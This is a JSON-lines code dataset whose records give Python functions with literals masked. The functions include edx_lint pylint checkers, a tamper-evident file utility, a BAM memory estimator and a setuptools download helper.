{"signature": "def normalize(self):", "body": "assert len(self.vars) == <NUM_LIT:1><EOL>return ProbDist(self.vars[<NUM_LIT:0>],<EOL>dict((k, v) for ((k,), v) in list(self.cpt.items())))<EOL>", "docstring": "Return my probabilities; must be down to one variable.", "id": "f1686:c4:m3"}
{"signature": "def p(self, e):", "body": "return self.cpt[event_values(e, self.vars)]<EOL>", "docstring": "Look up my value tabulated for e.", "id": "f1686:c4:m4"}
{"signature": "def assert_amnesty(self, input_code, errors, expected):", "body": "input_code = textwrap.dedent(input_code)<EOL>expected = textwrap.dedent(expected)<EOL>errors_by_line = defaultdict(list)<EOL>for error in errors:<EOL><INDENT>errors_by_line[error.linenum].append(error)<EOL><DEDENT>output_lines = itertools.chain.from_iterable(<EOL>fix_pylint(line, errors_by_line[lineno])<EOL>for lineno, line<EOL>in enumerate(StringIO(input_code), start=<NUM_LIT:1>)<EOL>)<EOL>self.assertEqual(expected.split(u'<STR_LIT:\\n>'), \"<STR_LIT>\".join(output_lines).split(u'<STR_LIT:\\n>'))<EOL>", "docstring": "Assert that fix_pylint produces ``expected`` when fed ``input_code`` and the\nlist of errors ``errors``.\n\nArguments:\n    input_code: A string of python code. Will be textwrap.dedented.\n    errors: A list of PylintErrors\n    expected: A string of python code. Will be textwrap.dedented.", "id": "f1688:c0:m0"}
{"signature": "def assert_pylint_exception_match(self, expected, line):", "body": "self.assertEqual(<EOL>expected,<EOL>PYLINT_EXCEPTION_REGEX.search(line).group(<NUM_LIT:0>)<EOL>)<EOL>", "docstring": "Assert that PYLINT_EXCEPTION_REGEX mateches ``expected`` in ``line``.", "id": "f1688:c0:m1"}
{"signature": "def find_line_markers(source):", "body": "markers = {}<EOL>for lineno, line in enumerate(source.splitlines(), start=<NUM_LIT:1>):<EOL><INDENT>m = re.search(r\"<STR_LIT>\", line)<EOL>if m:<EOL><INDENT>markers[lineno] = m.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>return markers<EOL>", "docstring": "Find line markers in program source.\n\n    Returns a dict mapping line numbers to the marker on that line.", "id": "f1700:m0"}
{"signature": "def run_pylint(source, msg_ids):", "body": "with open(\"<STR_LIT>\", \"<STR_LIT:w>\") as f:<EOL><INDENT>f.write(textwrap.dedent(source))<EOL><DEDENT>reporter = SimpleReporter()<EOL>pylint_args = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\".format(msg_ids)]<EOL>if pylint_numversion >= (<NUM_LIT:2>, <NUM_LIT:0>):<EOL><INDENT>kwargs = dict(do_exit=False)<EOL><DEDENT>else:<EOL><INDENT>kwargs = dict(exit=False)<EOL><DEDENT>Run(pylint_args, reporter=reporter, **kwargs)       <EOL>markers = find_line_markers(source)<EOL>messages = {<EOL>\"<STR_LIT>\".format(m=m, line=markers.get(m.line, m.line))<EOL>for m in reporter.messages<EOL>}<EOL>return messages<EOL>", "docstring": "Run pylint on some source, collecting specific messages.\n\n    `source` is the literal text of the program to check. It is\n    dedented and written to a temp file for pylint to read.\n\n    `msg_ids` is a comma-separated string of msgids we are interested\n    in.  Use \"all\" to enable all messages.\n\n    Returns a set of messages.  Each message is a string, formatted\n    as \"line:msg-id:message\".  \"line\" will be the line number of the\n    message, or if the source line has a comment like \"#=Slug\", then\n    it will be \"Slug\" instead.  This makes it easier to write, read,\n    and maintain the tests.", "id": "f1700:m2"}
{"signature": "def temp_filename(self):", "body": "fdesc, filename = tempfile.mkstemp(suffix=\"<STR_LIT>\", prefix=\"<STR_LIT>\")<EOL>os.close(fdesc)<EOL>self.addCleanup(os.remove, filename)<EOL>return filename<EOL>", "docstring": "Make a temporary filename that will be deleted after the test.\n\nReturns:\n    The name of the temp file.", "id": "f1701:c0:m0"}
{"signature": "def write_tamper_evident(self, text, **kwargs):", "body": "filename = self.temp_filename()<EOL>TamperEvidentFile(filename).write(text, **kwargs)<EOL>return filename<EOL>", "docstring": "Helper to write a tamper-evident temp file.\n\nArgs:\n    text (byte string): the content of the file.\n\n    kwargs: any other arguments to `TamperEvidentFile.write`.\n\nReturns:\n    The name of the temp file.", "id": "f1701:c0:m1"}
{"signature": "def call_command(self, argv=None):", "body": "return main.main(argv)<EOL>", "docstring": "Call an edx_lint script command.\n\n        Arguments:\n            argv (list) -- arguments to pass to the edx_lint script", "id": "f1702:c0:m1"}
{"signature": "def assert_file(self, filename, contains=None, not_contains=None):", "body": "self.assertTrue(os.path.isfile(filename))<EOL>if contains is not None or not_contains is not None:<EOL><INDENT>with open(filename) as f:<EOL><INDENT>text = f.read()<EOL>if contains is not None:                    <EOL><INDENT>self.assertIn(contains, text)<EOL><DEDENT>if not_contains is not None:                <EOL><INDENT>self.assertNotIn(not_contains, text)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Assert that a file exists, and optionally, contains some text.", "id": "f1702:c0:m2"}
{"signature": "def assert_not_file(self, filename):", "body": "self.assertFalse(os.path.isfile(filename))<EOL>", "docstring": "Assert that a file doesn't exist.", "id": "f1702:c0:m3"}
{"signature": "def merge_configs(main, tweaks):", "body": "for section in tweaks.sections():<EOL><INDENT>for option in tweaks.options(section):<EOL><INDENT>value = tweaks.get(section, option)<EOL>if option.endswith(\"<STR_LIT:+>\"):<EOL><INDENT>option = option[:-<NUM_LIT:1>]<EOL>value = main.get(section, option) + value<EOL><DEDENT>main.set(section, option, value)<EOL><DEDENT><DEDENT>", "docstring": "Merge tweaks into a main config file.", "id": "f1703:m0"}
{"signature": "def list_main(argv_unused):  ", "body": "print(\"<STR_LIT>\")<EOL>for filename in pkg_resources.resource_listdir(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>print(filename)<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "list\n    List the FILENAMEs that edx_lint can provide.", "id": "f1704:m0"}
{"signature": "def parse_pylint_output(pylint_output):", "body": "for line in pylint_output:<EOL><INDENT>if not line.strip():<EOL><INDENT>continue<EOL><DEDENT>if line[<NUM_LIT:0>:<NUM_LIT:5>] in (\"<STR_LIT:->\"*<NUM_LIT:5>, \"<STR_LIT:*>\"*<NUM_LIT:5>):<EOL><INDENT>continue<EOL><DEDENT>parsed = PYLINT_PARSEABLE_REGEX.search(line)<EOL>if parsed is None:<EOL><INDENT>LOG.warning(<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\",<EOL>line<EOL>)<EOL>continue<EOL><DEDENT>parsed_dict = parsed.groupdict()<EOL>parsed_dict['<STR_LIT>'] = int(parsed_dict['<STR_LIT>'])<EOL>yield PylintError(**parsed_dict)<EOL><DEDENT>", "docstring": "Parse the pylint output-format=parseable lines into PylintError tuples.", "id": "f1705:m0"}
{"signature": "def format_pylint_disables(error_names, tag=True):", "body": "tag_str = \"<STR_LIT>\" if tag else \"<STR_LIT>\"<EOL>if error_names:<EOL><INDENT>return u\"<STR_LIT>\".format(<EOL>disabled=\"<STR_LIT:U+002CU+0020>\".join(sorted(error_names)),<EOL>tag=tag_str,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Format a list of error_names into a 'pylint: disable=' line.", "id": "f1705:m1"}
{"signature": "def fix_pylint(line, errors):", "body": "if not errors:<EOL><INDENT>yield line<EOL>return<EOL><DEDENT>current = PYLINT_EXCEPTION_REGEX.search(line)<EOL>if current:<EOL><INDENT>original_errors = {disable.strip() for disable in current.group('<STR_LIT>').split('<STR_LIT:U+002C>')}<EOL><DEDENT>else:<EOL><INDENT>original_errors = set()<EOL><DEDENT>disabled_errors = set(original_errors)<EOL>for error in errors:<EOL><INDENT>if error.error_name == '<STR_LIT>':<EOL><INDENT>parsed = re.search(\"\"\"<STR_LIT>\"\"\", error.error_msg)<EOL>disabled_errors.discard(parsed.group('<STR_LIT>'))<EOL><DEDENT>elif error.error_name == '<STR_LIT>' and error.error_msg == '<STR_LIT>':<EOL><INDENT>yield format_pylint_disables({error.error_name}).strip() + '<STR_LIT:\\n>'<EOL><DEDENT>else:<EOL><INDENT>disabled_errors.add(error.error_name)<EOL><DEDENT><DEDENT>disable_string = format_pylint_disables(disabled_errors, not disabled_errors <= original_errors)<EOL>if current:<EOL><INDENT>yield PYLINT_EXCEPTION_REGEX.sub(disable_string, line)<EOL><DEDENT>else:<EOL><INDENT>yield re.sub(r'<STR_LIT>', disable_string + r'<STR_LIT>', line, count=<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Yield any modified versions of ``line`` needed to address the errors in ``errors``.", "id": "f1705:m2"}
{"signature": "@click.command()<EOL>@click.option(<EOL>'<STR_LIT>', default=sys.stdin, type=click.File(),<EOL>help=\"<STR_LIT>\"<EOL>)<EOL>@click_log.simple_verbosity_option(default=u'<STR_LIT>')<EOL>def pylint_amnesty(pylint_output):", "body": "errors = defaultdict(lambda: defaultdict(set))<EOL>for pylint_error in parse_pylint_output(pylint_output):<EOL><INDENT>errors[pylint_error.filename][pylint_error.linenum].add(pylint_error)<EOL><DEDENT>for file_with_errors in sorted(errors):<EOL><INDENT>try:<EOL><INDENT>opened_file = open(file_with_errors)<EOL><DEDENT>except IOError:<EOL><INDENT>LOG.warning(u\"<STR_LIT>\", file_with_errors, exc_info=True)<EOL><DEDENT>else:<EOL><INDENT>with opened_file as input_file:<EOL><INDENT>output_lines = []<EOL>for line_num, line in enumerate(input_file, start=<NUM_LIT:1>):<EOL><INDENT>output_lines.extend(<EOL>fix_pylint(<EOL>line,<EOL>errors[file_with_errors][line_num]<EOL>)<EOL>)<EOL><DEDENT><DEDENT>with open(file_with_errors, '<STR_LIT:w>') as output_file:<EOL><INDENT>output_file.writelines(output_lines)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Add ``# pylint: disable`` clauses to add exceptions to all existing pylint errors in a codebase.", "id": "f1705:m3"}
{"signature": "def main(argv=None):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv[<NUM_LIT:1>:]<EOL><DEDENT>if not argv or argv[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>show_help()<EOL>return <NUM_LIT:0><EOL><DEDENT>elif argv[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>return check_main(argv[<NUM_LIT:1>:])<EOL><DEDENT>elif argv[<NUM_LIT:0>] == \"<STR_LIT:list>\":<EOL><INDENT>return list_main(argv[<NUM_LIT:1>:])<EOL><DEDENT>elif argv[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>return write_main(argv[<NUM_LIT:1>:])<EOL><DEDENT>else:<EOL><INDENT>print(u\"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(argv)))<EOL>show_help()<EOL>return <NUM_LIT:1><EOL><DEDENT>", "docstring": "The edx_lint command entry point.", "id": "f1706:m0"}
{"signature": "def show_help():", "body": "print(", "docstring": "Print the help string for the edx_lint command.", "id": "f1706:m1"}
{"signature": "def check_main(argv):", "body": "if len(argv) != <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>filename = argv[<NUM_LIT:0>]<EOL>if os.path.exists(filename):<EOL><INDENT>print(u\"<STR_LIT>\" % filename)<EOL>tef = TamperEvidentFile(filename)<EOL>if tef.validate():<EOL><INDENT>print(u\"<STR_LIT>\" % filename)<EOL><DEDENT>else:<EOL><INDENT>print(u\"<STR_LIT>\" % filename)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(u\"<STR_LIT>\" % filename)<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "check FILENAME\n    Check that FILENAME has not been edited since writing.", "id": "f1707:m0"}
{"signature": "def write_main(argv):", "body": "if len(argv) != <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>filename = argv[<NUM_LIT:0>]<EOL>resource_name = \"<STR_LIT>\" + filename<EOL>tweaks_name = amend_filename(filename, \"<STR_LIT>\")<EOL>if not pkg_resources.resource_exists(\"<STR_LIT>\", resource_name):<EOL><INDENT>print(u\"<STR_LIT>\" % filename)<EOL>return <NUM_LIT:2><EOL><DEDENT>if os.path.exists(filename):<EOL><INDENT>print(u\"<STR_LIT>\" % filename)<EOL>tef = TamperEvidentFile(filename)<EOL>if not tef.validate():<EOL><INDENT>bak_name = amend_filename(filename, \"<STR_LIT>\")<EOL>print(u\"<STR_LIT>\" % (filename, bak_name))<EOL>if os.path.exists(bak_name):<EOL><INDENT>print(u\"<STR_LIT>\" % bak_name)<EOL>os.remove(bak_name)<EOL><DEDENT>os.rename(filename, bak_name)<EOL><DEDENT><DEDENT>print(u\"<STR_LIT>\" % filename)<EOL>cfg = configparser.RawConfigParser()<EOL>resource_string = pkg_resources.resource_string(\"<STR_LIT>\", resource_name).decode(\"<STR_LIT:utf8>\")<EOL>if six.PY2:<EOL><INDENT>cfg.readfp(cStringIO(resource_string), resource_name)<EOL><DEDENT>else:<EOL><INDENT>cfg.read_string(resource_string, resource_name)     <EOL><DEDENT>if os.path.exists(tweaks_name):<EOL><INDENT>print(u\"<STR_LIT>\" % tweaks_name)<EOL>cfg_tweaks = configparser.RawConfigParser()<EOL>cfg_tweaks.read([tweaks_name])<EOL>merge_configs(cfg, cfg_tweaks)<EOL><DEDENT>print(u\"<STR_LIT>\" % filename)<EOL>output_text = cStringIO()<EOL>output_text.write(WARNING_HEADER.format(filename=filename, tweaks_name=tweaks_name))<EOL>cfg.write(output_text)<EOL>out_tef = TamperEvidentFile(filename)<EOL>if six.PY2:<EOL><INDENT>output_bytes = output_text.getvalue()<EOL><DEDENT>else:<EOL><INDENT>output_bytes = output_text.getvalue().encode(\"<STR_LIT:utf8>\")<EOL><DEDENT>out_tef.write(output_bytes)<EOL>return <NUM_LIT:0><EOL>", "docstring": "write FILENAME\n    Write a local copy of FILENAME using FILENAME_tweaks for local tweaks.", "id": "f1708:m0"}
{"signature": "def amend_filename(filename, amend):", "body": "base, ext = os.path.splitext(filename)<EOL>amended_name = base + amend + ext<EOL>return amended_name<EOL>", "docstring": "Amend a filename with a suffix.\n\n    amend_filename(\"foo.txt\", \"_tweak\") --> \"foo_tweak.txt\"", "id": "f1708:m1"}
{"signature": "def register_checkers(linter):", "body": "linter.register_checker(YamlLoadChecker(linter))<EOL>", "docstring": "Register checkers.", "id": "f1709:m0"}
{"signature": "def register_checkers(linter):", "body": "if FILENAME:<EOL><INDENT>linter.register_checker(ModuleTracingChecker(linter))<EOL><DEDENT>", "docstring": "Register checkers.", "id": "f1710:m0"}
{"signature": "def visit_module(self, node):", "body": "with open(FILENAME, \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(node.file)<EOL>f.write(\"<STR_LIT:\\n>\")<EOL><DEDENT>", "docstring": "Called for each module being examined.", "id": "f1710:c0:m0"}
{"signature": "def register_checkers(linter):", "body": "linter.register_checker(TranslationStringConstantsChecker(linter))<EOL>", "docstring": "Register checkers.", "id": "f1711:m0"}
{"signature": "@utils.check_messages(MESSAGE_ID)<EOL><INDENT>def visit_call(self, node):<DEDENT>", "body": "if not isinstance(node.func, astroid.Name):<EOL><INDENT>return<EOL><DEDENT>if node.func.name not in self.TRANSLATION_FUNCTIONS:<EOL><INDENT>return<EOL><DEDENT>first = node.args[<NUM_LIT:0>]<EOL>if isinstance(first, astroid.Const):<EOL><INDENT>if isinstance(first.value, six.string_types):<EOL><INDENT>return<EOL><DEDENT><DEDENT>self.add_message(self.MESSAGE_ID, args=node.func.name, node=node)<EOL>", "docstring": "Called for every function call in the source code.", "id": "f1711:c0:m0"}
{"signature": "def register_checkers(linter):", "body": "linter.register_checker(GetSetAttrLiteralChecker(linter))<EOL>", "docstring": "Register checkers.", "id": "f1712:m0"}
{"signature": "@utils.check_messages(MESSAGE_ID)<EOL><INDENT>def visit_call(self, node):<DEDENT>", "body": "if not isinstance(node.func, astroid.Name):<EOL><INDENT>return<EOL><DEDENT>if node.func.name == \"<STR_LIT>\":<EOL><INDENT>if len(node.args) != <NUM_LIT:2>:<EOL><INDENT>return<EOL><DEDENT><DEDENT>elif node.func.name in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT>second = node.args[<NUM_LIT:1>]<EOL>if isinstance(second, astroid.Const):<EOL><INDENT>if isinstance(second.value, six.string_types):<EOL><INDENT>if re.search(r\"<STR_LIT>\", second.value):<EOL><INDENT>self.add_message(self.MESSAGE_ID, args=node.func.name, node=node)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Called for every function call in the source code.", "id": "f1712:c0:m0"}
{"signature": "def register_checkers(linter):", "body": "linter.register_checker(AssertChecker(linter))<EOL>", "docstring": "Register checkers.", "id": "f1713:m0"}
{"signature": "@utils.check_messages(MESSAGE_ID)<EOL><INDENT>def visit_call(self, node):<DEDENT>", "body": "if not isinstance(node.func, astroid.Attribute):<EOL><INDENT>return<EOL><DEDENT>if node.func.attrname not in self.AFFECTED_ASSERTS:<EOL><INDENT>return<EOL><DEDENT>first_arg = node.args[<NUM_LIT:0>]<EOL>existing_code = \"<STR_LIT>\" % (node.func.attrname, first_arg.as_string())<EOL>if isinstance(first_arg, astroid.Compare):<EOL><INDENT>if len(first_arg.ops) > <NUM_LIT:1>:<EOL><INDENT>return<EOL><DEDENT>compare = first_arg.ops[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>right = first_arg.ops[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>if isinstance(right, astroid.Const) and right.value is None:<EOL><INDENT>better = self.BETTER_NONE_COMPARES[compare]<EOL><DEDENT>else:<EOL><INDENT>better = self.BETTER_COMPARES[compare]<EOL><DEDENT>if node.func.attrname == \"<STR_LIT>\":<EOL><INDENT>better = self.INVERTED[better]<EOL><DEDENT>self.add_message(<EOL>self.MESSAGE_ID,<EOL>args=u\"<STR_LIT>\" % (existing_code, better),<EOL>node=node,<EOL>)<EOL><DEDENT>", "docstring": "Check that various assertTrue/False functions are not misused.", "id": "f1713:c0:m0"}
{"signature": "def register_checkers(linter):", "body": "linter.register_checker(RangeChecker(linter))<EOL>", "docstring": "Register checkers.", "id": "f1714:m0"}
{"signature": "@utils.check_messages(MESSAGE_ID)<EOL><INDENT>def visit_call(self, node):<DEDENT>", "body": "if not isinstance(node.func, astroid.Name):<EOL><INDENT>return<EOL><DEDENT>if node.func.name not in self.RANGE_FUNCTIONS:<EOL><INDENT>return<EOL><DEDENT>first = node.args[<NUM_LIT:0>]<EOL>if not isinstance(first, astroid.Const):<EOL><INDENT>return<EOL><DEDENT>if not isinstance(first.value, int):<EOL><INDENT>return<EOL><DEDENT>three1 = False<EOL>if len(node.args) == <NUM_LIT:3>:<EOL><INDENT>third = node.args[<NUM_LIT:2>]<EOL>if isinstance(third, astroid.Const):<EOL><INDENT>if isinstance(third.value, int) and third.value == <NUM_LIT:1>:<EOL><INDENT>three1 = True<EOL><DEDENT><DEDENT><DEDENT>if first.value == <NUM_LIT:0>:<EOL><INDENT>if len(node.args) == <NUM_LIT:2>:<EOL><INDENT>self.add_message(self.MESSAGE_ID, args=(node.func.name, \"<STR_LIT>\"), node=node)<EOL><DEDENT>elif three1:<EOL><INDENT>self.add_message(self.MESSAGE_ID, args=(node.func.name, \"<STR_LIT>\"), node=node)<EOL><DEDENT><DEDENT>elif three1:<EOL><INDENT>self.add_message(self.MESSAGE_ID, args=(node.func.name, \"<STR_LIT>\"), node=node)<EOL><DEDENT>", "docstring": "Called for every function call in the source code.", "id": "f1714:c0:m0"}
{"signature": "def register_checkers(linter):", "body": "linter.register_checker(UnitTestSetupSuperChecker(linter))<EOL>", "docstring": "Register checkers.", "id": "f1715:m0"}
{"signature": "@utils.check_messages(NOT_CALLED_MESSAGE_ID, NON_PARENT_MESSAGE_ID)<EOL><INDENT>def visit_functiondef(self, node):<DEDENT>", "body": "<EOL>if not node.is_method():<EOL><INDENT>return<EOL><DEDENT>method_name = node.name<EOL>if method_name not in self.METHOD_NAMES:<EOL><INDENT>return<EOL><DEDENT>klass_node = node.parent.frame()<EOL>to_call = _ancestors_to_call(klass_node, method_name)<EOL>not_called_yet = dict(to_call)<EOL>for stmt in node.nodes_of_class(astroid.Call):<EOL><INDENT>expr = stmt.func<EOL>if not isinstance(expr, astroid.Attribute):<EOL><INDENT>continue<EOL><DEDENT>if expr.attrname != method_name:<EOL><INDENT>continue<EOL><DEDENT>if (isinstance(expr.expr, astroid.Call) and<EOL>isinstance(expr.expr.func, astroid.Name) and<EOL>expr.expr.func.name == '<STR_LIT>'):<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>klass = next(expr.expr.infer())<EOL>if klass is astroid.Uninferable:<EOL><INDENT>continue<EOL><DEDENT>if (isinstance(klass, astroid.Instance) and<EOL>isinstance(klass._proxied, astroid.ClassDef) and<EOL>utils.is_builtin_object(klass._proxied) and<EOL>klass._proxied.name == '<STR_LIT>'):<EOL><INDENT>return<EOL><DEDENT>if isinstance(klass, astroid.objects.Super):<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>del not_called_yet[klass]<EOL><DEDENT>except KeyError:<EOL><INDENT>if klass not in to_call:<EOL><INDENT>self.add_message(<EOL>self.NON_PARENT_MESSAGE_ID,<EOL>node=expr,<EOL>args=(method_name, usable_class_name(klass)),<EOL>)<EOL><DEDENT><DEDENT><DEDENT>except astroid.InferenceError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>for klass, method in six.iteritems(not_called_yet):<EOL><INDENT>if klass.name == '<STR_LIT:object>' or method.parent.name == '<STR_LIT:object>':<EOL><INDENT>continue<EOL><DEDENT>self.add_message(<EOL>self.NOT_CALLED_MESSAGE_ID,<EOL>args=(method_name, usable_class_name(klass)),<EOL>node=node,<EOL>)<EOL><DEDENT>", "docstring": "Called for every function definition in the source code.", "id": "f1715:c0:m0"}
{"signature": "def check_visitors(cls):", "body": "for name in dir(cls):<EOL><INDENT>if name.startswith(\"<STR_LIT>\"):<EOL><INDENT>if name[<NUM_LIT:6>:] not in CLASS_NAMES:<EOL><INDENT>raise Exception(u\"<STR_LIT>\".format(name))<EOL><DEDENT><DEDENT><DEDENT>return cls<EOL>", "docstring": "Check that a checker's visitors are correctly named.\n\n    A checker has methods named visit_NODETYPE, but it's easy to mis-name\n    a visit method, and it will never be called.  This decorator checks\n    the class to see that all of its visitors are named after an existing\n    node class.", "id": "f1716:m0"}
{"signature": "def usable_class_name(node):", "body": "name = node.qname()<EOL>for prefix in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:.>\"]:<EOL><INDENT>if name.startswith(prefix):<EOL><INDENT>name = name[len(prefix):]<EOL><DEDENT><DEDENT>return name<EOL>", "docstring": "Make a reasonable class name for a class node.", "id": "f1716:m1"}
{"signature": "def register_checkers(linter):", "body": "linter.register_checker(UnicodeFormatStringChecker(linter))<EOL>", "docstring": "Register checkers.", "id": "f1718:m0"}
{"signature": "def process_module(self, node):", "body": "self._unicode_literals = \"<STR_LIT>\" in node.future_imports<EOL>", "docstring": "Called for each module being examined.", "id": "f1718:c0:m1"}
{"signature": "def register(linter):", "body": "<EOL>for mod in MODS:<EOL><INDENT>mod.register_checkers(linter)<EOL><DEDENT>", "docstring": "Registering additional checkers.\n    However, we will also use it to amend existing checker config.", "id": "f1719:m0"}
{"signature": "def register_checkers(linter):", "body": "linter.register_checker(LayeredTestClassChecker(linter))<EOL>", "docstring": "Register checkers.", "id": "f1720:m0"}
{"signature": "@utils.check_messages(MESSAGE_ID)<EOL><INDENT>def visit_classdef(self, node):<DEDENT>", "body": "if not is_test_case_class(node):<EOL><INDENT>return<EOL><DEDENT>for anc in node.ancestors():<EOL><INDENT>if not is_test_case_class(anc):<EOL><INDENT>continue<EOL><DEDENT>for meth in anc.mymethods():<EOL><INDENT>if meth.name.startswith(\"<STR_LIT>\"):<EOL><INDENT>self.add_message(self.MESSAGE_ID, args=(node.name, anc.name), node=node)<EOL>return<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Check each class.", "id": "f1720:c0:m0"}
{"signature": "def write(self, text, hashline=b\"<STR_LIT>\"):", "body": "if not text.endswith(b\"<STR_LIT:\\n>\"):<EOL><INDENT>text += b\"<STR_LIT:\\n>\"<EOL><DEDENT>actual_hash = hashlib.sha1(text).hexdigest()<EOL>with open(self.filename, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(text)<EOL>f.write(hashline.decode(\"<STR_LIT:utf8>\").format(actual_hash).encode(\"<STR_LIT:utf8>\"))<EOL>f.write(b\"<STR_LIT:\\n>\")<EOL><DEDENT>", "docstring": "u\"\"\"\n        Write `text` to the file.\n\n        Writes the text to the file, with a final line checksumming the\n        contents.  The entire file must be written with one `.write()` call.\n\n        The last line is written with the `hashline` format string, which can\n        be changed to accommodate different file syntaxes.\n\n        Both arguments are UTF8 byte strings.\n\n        Arguments:\n            text (UTF8 byte string): the contents of the file to write.\n\n            hashline (UTF8 byte string): the format of the last line to append\n                to the file, with \"{}\" replaced with the hash.", "id": "f1722:c0:m1"}
{"signature": "def validate(self):", "body": "with open(self.filename, \"<STR_LIT:rb>\") as f:<EOL><INDENT>text = f.read()<EOL><DEDENT>start_last_line = text.rfind(b\"<STR_LIT:\\n>\", <NUM_LIT:0>, -<NUM_LIT:1>)<EOL>if start_last_line == -<NUM_LIT:1>:<EOL><INDENT>return False<EOL><DEDENT>original_text = text[:start_last_line+<NUM_LIT:1>]<EOL>last_line = text[start_last_line+<NUM_LIT:1>:]<EOL>expected_hash = hashlib.sha1(original_text).hexdigest().encode('<STR_LIT:utf8>')<EOL>match = re.search(b\"<STR_LIT>\", last_line)<EOL>if not match:<EOL><INDENT>return False<EOL><DEDENT>actual_hash = match.group(<NUM_LIT:0>)<EOL>return actual_hash == expected_hash<EOL>", "docstring": "Check if the file still has its original contents.\n\nReturns True if the file is unchanged, False if it has been tampered\nwith.", "id": "f1722:c0:m2"}
{"signature": "def is_integer( value ):", "body": "return isinstance( value, INTEGER_TYPES )<EOL>", "docstring": "Check if value is a valid unsigned int, int, or long", "id": "f1726:m0"}
{"signature": "def guess_array_memory_usage( bam_readers, dtype, use_strand=False ):", "body": "ARRAY_COUNT = <NUM_LIT:5><EOL>if not isinstance( bam_readers, list ):<EOL><INDENT>bam_readers = [ bam_readers ]<EOL><DEDENT>if isinstance( dtype, basestring ):<EOL><INDENT>dtype = NUMPY_DTYPES.get( dtype, None )<EOL><DEDENT>use_strand = use_strand + <NUM_LIT:1> <EOL>dtypes = guess_numpy_dtypes_from_idxstats( bam_readers, default=None, force_dtype=False )<EOL>if not [ dt for dt in dtypes if dt is not None ]:<EOL><INDENT>dtypes = guess_numpy_dtypes_from_idxstats( bam_readers, default=dtype or numpy.uint64, force_dtype=True )<EOL><DEDENT>elif dtype:<EOL><INDENT>dtypes = [ dtype if dt else None for dt in dtypes ]<EOL><DEDENT>read_groups = []<EOL>no_read_group = False<EOL>for bam in bam_readers:<EOL><INDENT>rgs = bam.get_read_groups()<EOL>if rgs:<EOL><INDENT>for rg in rgs:<EOL><INDENT>if rg not in read_groups:<EOL><INDENT>read_groups.append( rg )<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>no_read_group = True<EOL><DEDENT><DEDENT>read_groups = len( read_groups ) + no_read_group<EOL>max_ref_size = <NUM_LIT:0><EOL>array_byte_overhead = sys.getsizeof( numpy.zeros( ( <NUM_LIT:0> ), dtype=numpy.uint64 ) )<EOL>array_count = ARRAY_COUNT * use_strand * read_groups<EOL>for bam in bam_readers:<EOL><INDENT>for i, ( name, length ) in enumerate( bam.get_references() ):<EOL><INDENT>if dtypes[i] is not None:<EOL><INDENT>max_ref_size = max( max_ref_size, ( length + length * dtypes[i]().nbytes * array_count + ( array_byte_overhead * ( array_count + <NUM_LIT:1> ) ) ) )<EOL><DEDENT><DEDENT><DEDENT>return max_ref_size<EOL>", "docstring": "Returns an estimate for the maximum amount of memory to be consumed by numpy arrays.", "id": "f1726:m4"}
{"signature": "def download_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,<EOL>to_dir=os.curdir, delay=<NUM_LIT:15>):", "body": "<EOL>to_dir = os.path.abspath(to_dir)<EOL>try:<EOL><INDENT>from urllib.request import urlopen<EOL><DEDENT>except ImportError:<EOL><INDENT>from urllib2 import urlopen<EOL><DEDENT>tgz_name = \"<STR_LIT>\" % version<EOL>url = download_base + tgz_name<EOL>saveto = os.path.join(to_dir, tgz_name)<EOL>src = dst = None<EOL>if not os.path.exists(saveto):  <EOL><INDENT>try:<EOL><INDENT>log.warn(\"<STR_LIT>\", url)<EOL>src = urlopen(url)<EOL>data = src.read()<EOL>dst = open(saveto, \"<STR_LIT:wb>\")<EOL>dst.write(data)<EOL><DEDENT>finally:<EOL><INDENT>if src:<EOL><INDENT>src.close()<EOL><DEDENT>if dst:<EOL><INDENT>dst.close()<EOL><DEDENT><DEDENT><DEDENT>return os.path.realpath(saveto)<EOL>", "docstring": "Download distribute from a specified location and return its filename\n\n    `version` should be a valid distribute version number that is available\n    as an egg for download under the `download_base` URL (which should end\n    with a '/'). `to_dir` is the directory where the egg will be downloaded.\n    `delay` is the number of seconds to pause before an actual download\n    attempt.", "id": "f1732:m4"}
{"signature": "def _patch_file(path, content):", "body": "f = open(path)<EOL>existing_content = f.read()<EOL>f.close()<EOL>if existing_content == content:<EOL><INDENT>log.warn('<STR_LIT>')<EOL>return False<EOL><DEDENT>log.warn('<STR_LIT>')<EOL>_rename_path(path)<EOL>f = open(path, '<STR_LIT:w>')<EOL>try:<EOL><INDENT>f.write(content)<EOL><DEDENT>finally:<EOL><INDENT>f.close()<EOL><DEDENT>return True<EOL>", "docstring": "Will backup the file then patch it", "id": "f1732:m6"}
